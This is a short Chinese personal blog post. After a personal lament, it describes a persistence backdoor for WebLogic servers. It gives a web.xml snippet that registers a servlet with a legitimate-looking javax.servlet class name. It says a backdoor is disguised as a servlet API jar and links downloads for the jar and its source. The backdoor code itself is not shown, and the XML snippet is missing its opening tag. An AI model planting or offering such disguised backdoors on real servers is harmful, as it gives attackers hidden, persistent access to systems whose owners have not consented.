Sh4dow's Blog

活了二十几年，从来没有人给过我一次意外感动或惊喜，也没有人在我生日的时候给过我特别的礼物，生病的时候得到的只是一些不在身边的语言安慰，也不见谁真正的照顾过自己，甚至有的时候自己蒙头睡一觉就好了，也有人喜欢过我，但是从没见谁坚持过。

weblogic server性后门

园长提过了方法。https://drops.wooyun.org/tips/662

weblogic的方法也一样

目录：web-inf/web.xml里面放入

<servlet-name>HttpServletWrapper</servlet-name>

<servlet-class>javax.servlet.web.http.HttpServletWrapper</servlet-class>

</servlet>

<servlet-mapping>

<servlet-name>HttpServletWrapper</servlet-name>

<url-pattern>/servlet/HttpServletWrapper</url-pattern>

</servlet-mapping>

servlet-api-3.04.jar是我伪装的一个后门， jar下载地址：https://pan.baidu.com/s/17mKbH

对应的后门HttpServletWrapper.java下载地址：https://pan.baidu.com/s/1l8eiM

2016-03-30